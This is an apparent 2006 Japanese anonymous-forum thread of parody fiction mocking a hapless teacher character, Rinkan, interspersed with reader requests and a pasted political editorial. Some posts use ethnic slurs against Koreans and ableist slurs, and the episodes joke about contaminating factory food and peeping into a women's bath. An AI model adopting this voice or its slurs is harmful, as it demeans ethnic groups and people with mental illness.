面接官「私どもはね、和を大事にして欲しいんですよ。私個人としては社内に
右翼がいようが左翼がいようが、一生懸命働いてくれればどっちでもかまわないんです。
社内で変な政治活動をして、みんなの和を乱さないで下さいよ。」
林間「なんだと貴様!!1!!俺のジハードにケチつけるとはかんしゃくおこす!!11!」
激怒した林間は面接官につかみかかり、本気で首を絞めにかかった。
面接官「だ、誰か!救急車!!!1!精神病院の救急車を!!!1!!」


林間パパ「カヅ、何処にも就職が決まらなかったんなら、大学院に行け。
ナニワ大学の大学院はまだ学生を募集しているらしいぞ。」
林間ママ「そうよ、カヅちゃんは頭がいいんだから、大学院で誰にも負けない知識をつけて
そういうお仕事に就いたらいいとママは思うの」
こうして就活に失敗した林間はナニワ大学の大学院への進学を決めた。
その後はご存知の通りである。

423 :名無しかましてよかですか?:2006/12/02(土) 15:15:30 ID:mrqFjEbS
>>421-422
以前採用試験の時の「ディペートテスト」を朝生か何か、
(つまり「アノ」系統の「ディペート」)と勘違いして、
相手に対して、無茶苦茶な議論を吹っかけて、その挙句
当然のごとく落とされた奴がいたって話を聞いた事あるが、

林間あたり実際やっていそうで怖い。

424 :林間家の人々:2006/12/03(日) 19:14:19 ID:KVPENvDi
♪ピンポンパンポーン 五番乗り場の列車は、博多行きのぞみ555号です。

12月下旬、鳥坂は東京駅の新幹線ホームにいた。当然、帰省のためである。
午前10時前、ホームに新幹線が滑り込んできた。
鳥坂は指定席を取っておいた車両に乗り込み、荷物を棚に入れるとシートに腰を下ろした。
鳥坂「ふーっ、クタクタや…」
???「ききききき!!!」
鳥坂は奇声のしたほうを振り向いた。そこには、林間が鳥坂を指差して何かわめいていた。
林間「と、鳥坂!!何で貴様が俺の隣なんだ!!」
鳥坂「そんな事言われたって…」
林間「さては俺にストーカーしているな!!11!「はい」と言えかんしゃくおこす!1!!」
鳥坂「そんな無茶苦茶な!!先生やキモ味じゃないんですから、そんなことしませんよ」
林間「俺と真性変態キモヲタの肝井と一緒にするなかんしゃくおこす!!!1!
…まぁいい。今思いついたんだが、一つお前に頼みがある」
鳥坂「何すか」
林間「俺の実家に来て一緒に昼飯を食ってくれ。俺の言うことには適度に相槌を打ってな」
鳥坂「んー、別にいいですけど。」

1時過ぎ 比良方市林間家
テルコ「カヅちゃんお帰り。…その子は?」
林間「俺の教え子だよ。実家と帰る日がたまたま大阪だったんで、連れて来たんだ。」
テルコ「まぁ、大変。お父さんにも言わなきゃ」

一時間後
カヅヨシ「ううう…うちのカヅフサがこんなに立派になって戻ってくるなんて…
もう思い残す事はない!!もう私はいつ死んでもいい!!」
テルコ「まぁ、お父さんったら…ごめんなさいね、鳥坂君。
うちのお父さん、感動家だから…」
???「ただいまー」
鳥坂は一瞬だけ、林間の顔が曇ったのを見た。

425 :林間家の人々:2006/12/03(日) 19:15:37 ID:KVPENvDi
テルコ「お帰りー、マー君、お兄ちゃんも帰ってるわよ。しかも教え子と一緒に」
???「母さん、俺、もう29だよ。マー君だなんてガキみたいな言い方よしてくれる
ってか、帰省の度に何年言い続ければ気が済むんだよ」
今に一人のメガネをかけた男が入ってきた。見るからに好青年といった感じである。
???「ただいま、兄貴」
林間「あ、ああ、鳥坂、紹介しておこう。俺の弟のカヅマサだ。」
カヅマサ「はじめまして。林間カヅマサ(29)と言います。」
鳥坂「へ、へぇ、先生に弟さんがおられたんですか…あ、こちらこそはじめまして。
鳥坂アキラっていいます。堺の出身です。」
カヅマサ「ああ、よろしく、鳥坂君。しかし、兄貴が臨時とはいえ教師になったのを
聞いたときは何かの悪い冗談だと思ったよ。しかも、その学校が東京の御三家の
一つだって聞いたときは、絶対に冗談だと思ったんだけど…」
林間「こ、こらっ!俺は元々頭いいんだ!!!1!!むしろ俺には大学の教授…」
カヅマサ「大学に入るのも出るのもどっちも3年遅れだったくせに何言ってんだか。
おまけにせっかく入った大学院は退学処分にされてしまうしな。で、それから
5,6年ほどニートやっててある日突然教師になったと言われても信じられないよ。」
林間「か、カヅマサ!!11!言わせておけば!!11!」

カヅマサ「ん、俺は事実を言っただけだけど。いやあ、鳥坂君、兄貴はいじりがいがあって
面白いよ。君も学校では兄貴をいじっているんだろ?」
林間「そ、そんな事はない!!11!俺は教師としての毅然とした態度を…」
鳥坂「え、ええ、実は僕も友達と一緒に色々と…」
カヅマサ「色々か、ワッハッハ!兄貴はね、コンプレックスとかをついてやると
発狂するんだけど、それが面白いんだわ。」
鳥坂「ええ、色々ありますよね。学歴に、勤労に、性欲、あと金髪」
カヅマサ「マジで?兄貴金髪マニアかよ、これ以上笑わせんな」
林間「ムッキィーーー!!1!!人の心にズケズケと!11!!
恥を知れ俗物!1!!かんしゃくおこす!!11!!」

426 :林間家の人々:2006/12/03(日) 19:23:20 ID:KVPENvDi
林間が大暴れしはじめた。カヅマサは動じずに林間の腹にストレートを打ち込んだ。
林間「む…か…か…」
林間は床に崩れ落ちる。
カヅマサ「見苦しいところをお見せしたね。」
鳥坂「すげぇや…ところで、あんなにいじめて、殺意を抱いたりしませんかね?」
カヅマサ「安心しなよ。兄貴はね、言う事はいつも勇ましいけど、
実際は何もできない口先だけの口弁慶だから。」
30分後、鳥坂は林間家に別れを告げ、堺の実家へ帰っていった。
---------------------------------------------------------
補足
林間カヅヨシ(29)
林間の弟。京都の同志スターリン大学卒。会社員(京都を代表する某メーカー)
色々な面で兄・林間カヅフサとは正反対な性格。

427 :林間家の人々:2006/12/03(日) 19:24:11 ID:KVPENvDi
名前間違えた…orz
林間先生の弟の名はカヅヨシじゃなくてカヅマサです…

428 :名無しかましてよかですか?:2006/12/05(火) 21:02:26 ID:mxNdbhZ0
sage

429 :名無しかましてよかですか?:2006/12/05(火) 21:33:56 ID:6dsjS1Fh
キモ味が死んでも キモ味二世 ID:OcDhKZBQ がいるもの。

430 :名無しかましてよかですか?:2006/12/06(水) 00:05:58 ID:El6bi980
推定が、大阪に帰省したという事なので、

近所のガキんちょにからかわれる、林間カヅフサ
の話をリクエスト。

431 :名無しかましてよかですか?:2006/12/06(水) 00:06:42 ID:El6bi980
推定が、大阪に帰省したという事なので、

近所のガキんちょにからかわれる、林間カヅフサ
あるいは、日本橋でカツアゲされる林間カヅフサPART2
の話をリクエスト。

432 :名無しかましてよかですか?:2006/12/06(水) 10:24:30 ID:G5VGnM6L
カップルでごった返すクリスマスの夜を見て三馬鹿が発狂する話をリクエスト

433 :悪夢のような事実:2006/12/06(水) 11:27:18 ID:SHDHGbBu
比良方市
空き地で林間が暇そうな子供相手に講義していた。
林間「…というわけで、アメリカの世界征服の野望に対し、
我らは人類の英知を集め、今こそ結集せねばならない!1!!」
子供「ふーん、それで?」
林間「何だその態度は!1!!貴様、俺の話を聞いていたのか!?
俺の話を聞いていれば、アメリカがどんなに邪悪で、
そいつらと手を握っているあべし政権もまた
邪悪な政権であることがわかるはずやろうが!1!1!」
子供「んー、だって前にお母ちゃんから『林間のとこのプーの方のおっちゃんは
キチガイやから、何を言われても本気にすな』って言われたもん。」
林間「キキキキキチガイだとぉーーーー!!!
俺のどこがキチガイなんだかんしゃくおこす!11!
なんで祖国の未来を憂えただけでキチガイ呼ばわりされなきゃならんのや!1!!!」
子供「だって、『働きもせんとおかしい政治活動にいそしんでいるから』やって」
林間「うわあーーーー!!!お前の母ちゃん許せん!11!!」
おばちゃん「あんた、そこでなにやっとんね!!!」
林間「なんや、小杉のばばぁかいな」

434 :悪夢のような事実:2006/12/06(水) 11:28:09 ID:SHDHGbBu
おばちゃん「あんた、林間さんとこの長男やね?プーの!」
林間「プーやない!!」
おばちゃん「じゃあ政治活動家とでも言うつもりかい?あんたねー、いつまでたっても
働きもせんで、恥ずかしいと思わんの?あんたのお父ちゃんとお母ちゃん、
ついにボケてあんたが東京の海武の教師になったってうわごとを言うようになったんよ!!」
林間「事実だよ!」
おばちゃん「何が事実なもんかね。海武言うたら、こっちの方じゃ大仏とか甲陽軍鑑とか
詭弁学園並みの進学校やろ?大学を6年遅れで卒業したうえ、大学院を追い出されたあんたが
そんなところに勤められるわけないやろ!?嘘もたいがいにし!」
林間「本当や!!ほら、証拠」
林間は職員カードをおばちゃんに見せた。
おばちゃん「…本物?」
林間「本物や、ほら、ここに『林間カヅフサ 197×年8月15日生
種別:臨時教員 科目:政治経済 日本史 世界史』って書いてあるやろ」
おばちゃん「うそやうそやくぁwせdrftgyふじこlp;
臨時教員とはいえこんなんが進学校の教師やなんて、もう日本はおしまいやーーー!!!」
林間「実力どおりの所におさまったと言えや!!」
おばちゃん「あたしゃ病気になってしもうたんや…もう駄目やーーー!!
息子のGTOを読みすぎた罰やーー!!こら病院にいかなあかんわーーー!!」
林間「いいかげんにしろーーーーっ!!!」


435 :名無しかましてよかですか?:2006/12/07(木) 03:30:55 ID:5sa1v9AU
コヴァがまともになった今年こそ
担任にサユリさんとの幸せなクリスマスを過ごさせてやって下さいおながいします

436 :名無しかましてよかですか?:2006/12/07(木) 22:04:47 ID:mdi+AHnx
>>435
「クリスマススペシャル」として考えられるのは・・・・・

@コヴァやメグミ達がみんなで楽しくパーティーとかしているところに、お笑い三人組が乱入
A担任が、サユリさんとのデートの準備をしていると、治安維持委員会から「三馬鹿が暴れているので、
 室外機マン出動」との命令が下る。
B担任のデートが三馬鹿に妨害される。

ってあたりか? 


437 :邪悪!ポンキッキ:2006/12/08(金) 11:48:04 ID:ZHlrOYwC
朝 目が覚めて 窓を開けたら 三十路無職が 立っていたんだ
ママに聞いたら フライパン持ったままで それは推定君 金髪好きでしょ
菊地の国からやってきて 今の日本につきました
だけどちょっと怖いです 怖い サヨク ばかりです
吠えろ 推定君 吠えろ 推定君(うぽぽおおおおおお
萌えろ 推定君 吠えろ 推定君(うぽぽおおおおおお

夜ふけに独り お風呂に行くと 三十路の推定が 覗いてたんだ
パパに聞いたら 新聞持ったままで あれは推定君 通報しなさい
妄想の部屋からやってきて 現実社会につきました
だけどちょっと寂しいです 金髪美少女 貰えません
萌えろ 推定君 萌えろ 推定君 (うぽぽおおおおおお
吠えろ 推定君 吠えろ 推定君 (うぽぽおおおおおお


どうでもいいがストーカーする推定の歌だとも解釈できてなんとなくイヤンw

438 :名無しかましてよかですか?:2006/12/08(金) 17:15:10 ID:w6cJmR3X


【社説】「北鮮が、韓国を侵略するはずがない」 と明言。逆大予言を再びする盧大統領
ttp://japanese.chosun.com/site/data/html_dir/2006/12/08/20061208000013.html
盧武鉉(ノ・ムヒョン)大統領は7日、「北朝鮮に核兵器があるとしても、韓国は十分に均衡がとれるだけの軍事力を
備えており、現状は優位な均衡状態にあるといえる」と語った。また大統領は「北朝鮮が韓国と戦争をしても勝つこ
とはできない。たとえ核兵器を持っていたとしても、(韓国に)致命的な打撃を与えることはできるかもしれないが、
(韓国との戦争には)勝てない。そして(北朝鮮による韓国の)征服は不可能で、征服どころか支配すらまったく不
可能だ」と語った。そして大統領は「支配できなのに征服しようとする国はない。征服できない国家、勝てない国家
は戦争を仕掛けない」と語った。
かつて盧大統領は「北朝鮮には国際社会の経済的支援が必要なので、核開発はあきらめる
だろう」と語っていた。しかしその根拠のない「予言」は、北朝鮮が実際に核実験を行ったことに
より、大韓民国と大韓民国大統領の威信を徹底的に失墜させた。その盧大統領が、今度は「北朝鮮が勝てない戦争
を起こすことはない」という新しい予言を発表した。大統領のそうした独創的な国際政治理論に、国民4800万人の命
を託してよいはずがない。



-----------------------ノ・ムヒョンは世界史を履修しなかったのかねwwwwwwwwwwwwwww。--------------
・同盟関係にあったドイツ第三帝国機甲軍200万人に、後方から総襲撃されたソ連、

・日本を土人国家と見くびっていた、真珠湾でボーッとしていたアメリカ海軍戦艦部隊

・ソ連との平和条約を信頼しきって油断し、満州から主兵力を移動させてしまった日本帝国
---------------------------------------------------------------------------------------
ノ・ムヒョン大統領は読書好きらしいが、何の本が趣味なんだ?エロ漫画本か?、それとも毛沢東語録か?、
それともポエムかw。そんな読書すきなんぞ国家統治には何の役にも立っていない。

439 :名無しかましてよかですか?:2006/12/08(金) 22:22:16 ID:PBIT4F0K
さて、もう一度逆ネ申伝説を貼っておいてあげようか。

ジバク逆ネ申伝説の実績
・誰かがほめてた西村議員>タイーホ
・誰かがほめてた、ベルルスコーニ>選挙敗北、辞任
・だれかが日本サッカー代表のジャージを着用>・・・・・。
・だれかがほめてたインドのミサイル>問題発生
・誰かの下衆発言を記録していたjibakuchan日記の中の人>年収がキモ味の年収分アップ(80〜100万円前後?)
・ジバクに名指しで絡まれたティキ>就職内定、卒論順調
・ジバクに名指しで絡まれた元祖君>商店街のくじに当選

何よりも、ジバクの家庭が崩壊してるのが、最大の影響だけどな。


440 :ヤ○ザキパンで働く林間:2006/12/09(土) 15:39:34 ID:vUliLWbX
いつもの林間の意味のない時間
林間「そういえばもうすぐクリスマスだな」
コヴァ「林間先生、ところで今日は何で金髪のズラに白衣なんですか」
吉田「ぱにぽにのベッキーの(つもり)だろ?」
吉田は小ゲロを吐きそうになっている。
林間「うるさい秘密をばらすなかんしゃくおこす!!1!!それはそうと
もうすぐクリスマスだな。おい、吉田はどうせあの美人の姉さん二人に囲まれて
イチャイチャクチュチュ・・・ちっっくしょぉぉぉぉぉぉぉぉぉ」
鳥坂「勝手に妄想を前提にしてキレとる・・・」
コヴァ「もう、かなしいですにょ」
吉田「いいや、このまま放っておこうぜ」
林間「ブフーブフー・・・。まあ、それはともかくとして、二年前私は近所の食品工場で
働いていた」
コヴァ「えっ、先生が労働していたんでしゅか?」
鳥坂「オッサン、ウチの親父の工場で出張費計算間違えて損失出したのにまだ
社会に迷惑かけとったんかい」
林間「うるさいうるさい!学生には分からないんだ!!!11!
それでな、私は工場でクリスマスケーキの飾り付けをしていた。半分に切った
スポンジケーキが流れてくるから、片方にシロップとクリームを塗り、その間に
フルーツのみじん切りを撒いてその上にクリームを乗せ最後に残りのスポンジ
ケーキを乗せてラインに乗せる」
吉田「しっかし、林間を使う工場ってどんな工場だ?」
コヴァ「人材不足だったんじゃないでしゅかね?クリスマス前ですし」
鳥坂「いや、下請けで親会社のコネとか。ほら、ウチの親父は今は保守系大手電機下請けやけど
ちょっと前まではこの前リチウム電池破裂したメーカーの下請けやってて、林間の親父が
そこの子会社幹部やっててそれで総務で押し込まれたし・・・」
林間「うるさい黙れ黙れ!!11!そうだよママンのコネだよかんしゃくおこす!!1!!」
三人「・・・やっぱりコネかいですにょ」

441 :ヤ○ザキパンで働く林間:2006/12/09(土) 15:40:34 ID:vUliLWbX
林間「それでな、私はその工場で毎日働いていたのだが、やはり年取った人がいっぱい
いてな。三十路過ぎると可哀想なものだよ」
コヴァ「先生、お言葉ですがいくつでしゅか?」
林間「オレは17歳の永遠の少年なんだよかんしゃくおこす!!11!!」
鳥坂「うわっ、痛ッッ」
吉田「ほお、だからKOVA17歳なのか、いまだに」
林間「やはりこのような格差はアメリカンな自由競争社会を導入したマシリトの・・・」
鳥坂「そもそもそういう軽い製品の加工はオバチャンのパート先やん」
コヴァ「ボクのママンもスーパーオカラヤでパートの主任やってますにょ」
吉田「まず根本的に自由競争社会が戦前の日本の基本だったのですが」
林間「うるさいうるさい!1!!そんな彼らに何も出来ない自分に腹が立ったんだよ!!」
吉田「なら弁護士目指したらどうですか。弁護士は無理でも社会保険労務士くらいなら
働きながら合格する人も多いですし彼らのために役に立てますが」
林間「いいんだよ!11!法律なんてアメリカの押しつけなんだしボクは分泌で身を
立てたいんだよ!11!」
鳥坂「なあ、吉田。出張費の算出もできんアホが社会保険労務士なんて取れるとおもっとるか?w」
コヴァ「それにこの前2chで暴れている林間センセーらしき人見ましたが、内定と内々定の
区別が付いてませんでしたにょ」
林間「うるさいうるさいかんしゃくおこすぅぅぅぅ!1!!1!!!1!!!!
・・・と、それでな。オレはケーキ工場で働きながら、ずっとそんなことを考えていたんだ。
ボクの作っているケーキは豊かなブルジョアジー達の口にはいる。そのケーキはこうやって
貧しい人々の犠牲の下につくられている」
コヴァ「林間先生、ちょっと・・・」
鳥坂「いや、もうちょっと待て、多分すごいこと言い出すから」
林間「それでボクは復讐をはじめたんだ・・・。まず、シロップの入ったボールの中にちょっと
だけよだれを垂らしてハケでよーく混ぜた」
ゴゴゴゴゴゴゴゴゴゴ

442 :ヤ○ザキパンで働く林間:2006/12/09(土) 15:46:55 ID:vUliLWbX
林間「それをたっぷりとスポンジに塗った。ちょっとだけ金髪の可愛いオンナノコの口に
入ることを期待しながら・・・」
ゴゴゴゴゴゴゴゴゴゴゴゴ
林間「それが上手く行くと、次はクリームにもよだれを混ぜた。そしてその次はスポンジに
鼻くそをトッピングして・・・」
ゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴ
林間「最後は、ホラ、黄桃とかフルーツミックスに入ってるヤツって何か正体不明じゃん。
だからフルーツに見せかけて痰を・・・」
ゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴ
顔を紅潮させながら嬉しそうにそういう林間を誰も止められなかった。
余りにも痛すぎて突っ込めなかったからだ。
林間「でも、そのブルジョアジーへの復讐も、あの工場長が出てくるまでだった・・・。
東淀川大の応援団卒の工場長に見つかって・・・。ボクは・・・。ボクは・・・。
その年、ボクの家にはたくさんのケーキが積み上がっていた。バイト代の代わりに
工場長が押しつけてきたんだ・・・。一部はヴァルキリーたんと一緒に食べて、ふたばに
UPしたりしたけど」
ゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴ
皆、突っ込めなかった。そして皆思った。
林間先生ほど、痛い人間が此の世にいるのだろうか(反語表現)と。

その日の放課後
担任「おい、コヴァ、鳥坂、吉田」
三人「はい?」
担任の手には某大手パン屋のケーキが
担任「いやさ、今日教頭が機嫌良くてケーキくれたんだけどあんま甘いモノオレは
好きじゃないからさ。お前等にやろうと思って」
三人「・・・・、いらないです。なんとなく」
担任「そっかー、教頭の大阪土産だったんだがなー、ワハハハハ」

443 :名無しかましてよかですか?:2006/12/11(月) 18:26:20 ID:0WlJnYEX
>>442
近所にスーパーヤマザキとヤマザキの工場が昔あったので
フィクションであっても笑えません・・・。


444 :林間の湯けむり大作戦:2006/12/11(月) 19:21:51 ID:ammEzhrf
鳥坂「吉田ー、今週の土曜日遊ぼーや」
吉田「わりぃ、実は土曜日、家族で温泉旅行に行くんだ。」
鳥坂「ふーん…じゃ、コヴァ、週末あいてる?」
コヴァ「ごめんなさいですにょ。実はボクチンの家も今週末温泉旅行へ…」
吉田「奇遇だな。どこへ行くんだ?」
コヴァ「熱海温泉ですにょ」
吉田「マジで?俺らも熱海なんだけど。ホテルは?」
コヴァ「えーっと、たしか、信濃屋旅館ですにょ」
吉田「うは、マジかよ。俺んちも信濃屋旅館だよ」
コヴァ「じゃあ、旅先で会いましゅね」
二人で盛り上がっている吉田とコヴァに、鳥坂がちょっと暗い顔でつぶやいた。
鳥坂「ええなー」
吉田「あ、ごめん…」
鳥坂「いや、気にしとらんから」
吉田「…一緒に行かないか?鳥坂」
鳥坂「え…いいんか?」
吉田「ちょっと待ってくれ。親に聞いてみる」

5分後
吉田「いいってさ。旅費も負担してくれるそうだ。」
鳥坂「マジで?わりぃ。恩にきるわ。本当にありがとう」
コヴァ「これで週末が楽しみですにょ」

この様子をじっと聞いている男たちがいた。そう、千葉と肝井である。

愛国サークル部室
千葉「…という話を銀髪スキー君とミコスキー君とアニメスキー君がしていたのじゃよ」
肝井「ずるいよね!ボクらもいこーよー、ねぇ、林間先生」
林間「まったく許せん話だ。かんしゃくおこす!!11!!
俺たちも行こう!キリコたんともみじたんとメグミたんの
貞操をあいつらに奪われてたまるか!!!1!早速ホテルの予約を取る!!1!1!」

445 :林間の湯けむり大作戦:2006/12/11(月) 19:23:34 ID:ammEzhrf
その日の晩、木場家
コヴァ「えっ、凛ちゃんとさやかちゃんも来るんでしゅか?」
メグミ「そーよ、お父さんとお義母さんからも許可もらってるわよ」
ジョンイル「信濃屋旅館の支配人は大学時代からの私の同志だからな。
無理を言って何とか部屋を確保してもらった。同志は革命運動の際に大事だから、
ヒロシ、お前も確保しておくべきだぞ」
コヴァ「そうなんでしゅか…実はボクチンも学校で…かくかくじかじか」
メグミ「マジ?にぎやかで楽しくなりそうね!」

マサヲ「へぇ、親父が選んだ割には結構いい旅館じゃないか」
ホテルを見て、凛とコヴァはそう感想を漏らした。
今日の宿、信濃屋旅館は日本風旅館として威風堂々とした作りの宿だった。
規模自体は比較的小ぶりだが、安心して休めそうな宿だ。
ジョンイル「はっはっは、私の人脈をなめないでもらいたい。わが同志は
資本家、警察、国家公務員などにも潜り込んでいるのだよ。革命の際には…」
秋子「おとうさん、それは別の機会に…」
駐車場に高級そうな車がもう一台車がものすごいスピードで滑り込んできた。
駐車した車の中から現れたのは吉田一家だった。
コヴァ「吉田君!!偶然ですね、ボクチンらもさっき来たばかりですにょ」
吉田「やぁ、コヴァ…今日ここに来るとき、きぃ姉ちゃんが運転したせいで吐きそう…
某フランス映画の某タクシーじゃねえんだぞ…」
もみじ「…死ぬぅ…帰りはあたしが運転するから…」
吉田母「シゲちゃん、もみじちゃん、貴方達はお姉ちゃんの運転技術を信用できないの?」
吉田父「り、理香子さん。君とキリコの感覚は異常なんだよ。」
理香子「鉄郎さん、貴方は黙っててください。あら、木場さんお久しぶりですね」
秋子「お、お久しぶりです…」

446 :林間の湯けむり大作戦:2006/12/11(月) 19:26:12 ID:ammEzhrf
客室
吉田「ふぅ、やっと落ち着いてきた…」
鳥坂「しかしまぁ、吉田のねーちゃんの凄い運転もさることながら、
俺らとコヴァたちの客室が隣同士ってのに驚いたよ、俺は」
コヴァ「全くですにょ」

そして夜がやってきた。コヴァたちはトランプをして遊んでいた。
吉田「なぁ、コヴァ、鳥坂、風呂に入ろうぜ」
コヴァ「わかりましたにょ。女の子たちもさっきお風呂に入っていったみたいでしゅしね」
コヴァは入浴の準備を始めだした。そして部屋の陰から
その一部始終をうかがっていた男がいた。言うまでもなく林間である。
林間は携帯を取り出すと、どこかへ電話をかけた。
林間「あー、こちらヴァルキリー、ライト、N作戦を発動してくれ」
肝井「こちらライト、了解だよもん。」
林間「工作終了後は速やかに部屋に戻るように、以上」

それから数分たって肝井が戻ってきた。
肝井「成功だよもん。さて、林間先生、ボクらも温泉に入ろーよ。」
林間「よっしゃ!行くか!」
そして浴場に来た林間たち。入り口の暖簾を男女逆に入れ替え、
女湯の暖簾がかかっていた右の入り口に入っていった。
林間「ククク…コヴァどもめ、ひどい目に会うがいいわ。
貴様らはこの旅で童貞を捨てようと思ったのだろうが、それは問屋が卸さん…」
林間の予測では、今、コヴァたちは本来の女湯に入っているはずである。
これはどういう事か?簡単に言うと、林間の連絡を受けて
肝井は暖簾を男女逆に入れ替えていた。そして浴場から離れ、別の物陰から
コヴァたちをストーキングし、コヴァたちが更衣室に入ったのを見計らい、
暖簾を元に戻して林間のところに戻ってきたのである。
つまり、この後、コヴァたちは本来の女湯に入ったことになる。
そして、林間たちは再び暖簾を入れ替えたことで、林間たちは本来の男湯に入ったわけである。
とても広い浴場は、室内にいくつかの風呂があるほか、外に露天風呂が設置されている。
露天風呂のほうに人影が見えたが、林間たちは気にせずに室内の湯の一つに身を沈めた。

447 :林間の湯けむり大作戦:2006/12/11(月) 19:28:22 ID:ammEzhrf
林間は男女の浴室を仕切る壁に耳を押し当てた。
コヴァ「ふぅー、いい湯ですにょ」
鳥坂「普段の生活の疲れが吹っ飛んでいくわー」
吉田「そういや、この宿、今日泊まってるのって俺たちを除くと2、3組らしいぜ。
この温泉、ほとんど貸し切り状態じゃね?」
コヴァ「じゃあ、何時間もお風呂に入れますね。」
林間は怪訝な表情を浮かべた。コヴァの義妹らはコヴァたちより先に風呂に入ったはずである。
3人はそれなりに大声で会話をしているのに、何でまだばれてないのだろうか?
林間はすぐに女の子たちはきっと露天風呂に入っているのだろうと解釈した。
現に、露天風呂に入っている人たちの声はここにはほとんど聞こえてこない。
林間たちはそう決め込むと、湯船にじっくりと浸かった。
肝井「温泉はいいね。リリンの生み出した文化の極みの一つだよもん。」
千葉「チョン賭博で北チョンに献金している奴らは、
なぜわしのような優雅な休日の過ごし方をしないのかのぅ。」

その時だった。露天風呂のほうで小さい叫び声がした。
明らかに女性の声と認められる声だ。
千葉「…今の声は何かの?こっちで女性の声がしたんじゃが…」
林間「おい、肝井、もともと男湯の暖簾はどっちにかかってた?」
肝井「え?ボク知らないよ。……そういえば左にかかっていたような…」
林間「ということは、右が女湯…まずい!!やば、逃げ、逃げ、逃げなきゃ!」
事の真相はこうである。肝井が暖簾を入れ替えてコヴァたちをストーキングしている最中、
この旅館の女将がたまたま浴場にやってきて暖簾が入れ替わっているのに気付き、
暖簾を元に戻した。そしてコヴァたちは本来の男湯に入り、
肝井は暖簾が戻ったのに気付かず、再び暖簾の位置を入れ替え、
そのまま男湯の暖簾の掛かった女湯に入ってしまったのである。
そして三人が逃げようとしたときはすでに手遅れだった。
折り悪く、三人娘が室内に戻ってきたのである。

448 :林間の湯けむり大作戦:2006/12/11(月) 19:29:36 ID:ammEzhrf
「きゃああああああああああああ!!!!変態!!!!!!」
ものすごい叫び声が浴室内に響き渡った。鼓膜が破れそうだ。
林間「き、肝井!!貴様のせいだぞ!!!貴様がばかだから
男湯と女湯の暖簾が逆になったのに気付かず入ってしまったじゃないか!!
全部お前の責任だ!!!責任を取れ責任を!!」
肝井「この作戦を考えたのは林間先生でしょ!!ボクは悪くないし!!」
千葉「おお、凛殿、さやか殿、メグミ殿、奇遇じゃのう、わしと結婚してくれ」

ゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴ

凛「まさかあんたたちキモヲタ軍団もここに来てたとはね…それも女湯をのぞきに…」
さやか「許さなぁぁぁぁぁい!!!変態!!あんたら人類の恥よ!!」
メグミ「さて、覚悟はいいわね。この人間のクズどもが…死ねぇぇぇぇええぇぇ!!!!」

三人「ギャアアアアアアアアアアアアアアアアアアアアアアア!!!!!!」

翌日、地元紙に、覗きで逮捕されたアホ三人組の記事が載ったそうである。

449 :名無しかましてよかですか?:2006/12/11(月) 20:51:41 ID:G4VFViah
ワロタw

450 :名無しかましてよかですか?:2006/12/11(月) 22:40:08 ID:DuIMhj7e
つーか、休日まであのお笑い三人組に顔を合わせないといけない、
コヴァ達三人って、結構不幸かも?

451 :名無しかましてよかですか?:2006/12/12(火) 11:43:16 ID:MqNEvwmN
林間が出張費の計算を間違えてクビになったエピソードはまだないのか。

452 :名無しかましてよかですか?:2006/12/13(水) 07:41:18 ID:a+B0Cfpj
なんか我々スレに自意識過剰な痛い人登場してるね。
ホーリーネームもあるみたいだしネタにならんかな?

453 :名無しかましてよかですか?:2006/12/14(木) 14:28:57 ID:lmqPzPvS
太鼓持ち君は確かにデンパだけどキャラ的に面白く無いからなぁ

454 :ジバク逆神伝説:2006/12/16(土) 12:18:48 ID:uNHoF9J8
コヴァ「あれ?吉田君、iPod買い換えたんでしゅか?」
吉田「いや。これは懸賞であたったんだ」
コヴァ「そうなんでしゅか…実はボクチンも最近DSが当たって…」
鳥坂「ついてんなー、そういう俺も最近宝くじで10万円当たったんだわ」
コヴァ「なんだかみんな最近ラッキーが起きていましゅね。」
千葉「おや、巫女スキー君に銀髪スキー君にアニメスキー君、何のお話なのかの?
わしも混ぜてほしいのじゃよ」
吉田「ざんねんだけど、俺は会話のできない奴と会話しようとは思わないから。
あっち行ってキモ味とか林間と遊んできな」
千葉「うぐううう…よくもわしをのけ者にしてくれたな…許さないのじゃよ、銀髪スキー君」
吉田「やれやれ…」

その日の夕方
吉田「わっ!通らねーと思ってた英検に合格してる!!…これは一体…」

翌日
吉田「…というわけで俺はある結論に到達した。林間レベルのトンデモ結論だが聞いてくれ。
実は、俺の身にいいことが起きる日はその日かその前の日にジバクに嫌われるような
ことをしている事に気付いたんだ。」
コヴァ「ははは…うそですにょね?」
鳥坂「まるで漫画かアニメの世界やんけ…」
吉田「いや、俺も本気にしろとは言ってないよ。」
コヴァ「政治の世界では盛田神みたいな逆神はいましゅが…しかし…」

肝井「千葉君に嫌われたらいいことが起こる…?よし、試してみよう」
その会話を耳にした肝井はあることを思いついた。

455 :ジバク逆神伝説:2006/12/16(土) 12:20:00 ID:uNHoF9J8
翌日
肝井「千葉くぅ〜ん」
千葉「何なのかの?」
肝井「ボクね、昨日伊藤美沙貴のサイン握手会に行ってきたんだ。ほら、これが証拠」
肝井は千葉に肝井と握手している写真を貼り付けた伊藤美沙貴のサイン色紙を見せた。
千葉の表情が変わった。
千葉「ハルヒスキー君!!なぜわしに教えてくれなかったのじゃよ!!
わしが伊藤美沙貴たんのおまんk(ry舐められる千載一遇のチャンスだったのに
うおーーーんおんおーーーーん!!!!ハルヒスキー君、一生のお願いなのじゃよ、
わしの全財産289円でそのサイン色紙譲ってほしいのじゃよ!!!」
肝井「嫌だよ。ボクだって昨日2時間並んでやっともらえたんだからね、死んでも譲れないよ」
千葉「伊藤美沙貴よ、見損なったのじゃよ!清純派のフリしてハルヒスキー君と
握手してくれるくせにわしには何もしてくれない売春婦だったのか。大嫌いなのじゃよ!。
ついでにわしに屈辱を与えたハルヒスキー君も大嫌いなのじゃよ!!!
貧困の中で死んでしまえばいいのじゃよ〜〜〜!!!」
肝井は心の中でガッツポーズした。そしてその日の晩、肝井の母からメールが来た。
「あっちゃん、東京は雪どうですか?うちはもう雪が積もってるよ。
そうそう、お父さんが今日くじ引きで一家グアム旅行を当てたから、
冬休みになって長野に帰ってきたら年末年始は一緒にグアムで過ごそうね。待ってるよ」
肝井「本当だったんだ…千葉君に嫌われたら幸運が訪れる…早速林間先生に教えなければ…」

翌日
林間「何!?千葉に嫌われたらいいことが起きるだと!?」
肝井「本当だよ!ボクだって、お父さんが昨日グアム旅行を当てたし!」
